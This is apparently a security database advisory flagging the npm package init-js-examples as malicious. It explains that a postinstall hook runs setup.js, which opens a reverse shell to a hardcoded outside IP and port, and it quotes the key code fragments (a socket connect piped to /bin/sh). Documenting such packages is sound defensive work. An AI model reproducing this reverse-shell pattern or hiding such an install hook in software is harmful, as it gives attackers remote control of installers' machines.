MAL-2026-10996

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    MAL-2026-10996

    Published: 22 Jul 2026Last Modified: 23 Jul 2026

    Summary: Malicious code in init-js-examples (npm)

    Details: Source: amazon-inspector (6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2) The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running `npm install init-js-examples` automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.

    Affected packages

    Package

    Name: init-js-examples

    Purl: pkg:npm/init-js-examples

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    MAL-2026-10996 | CVE-DB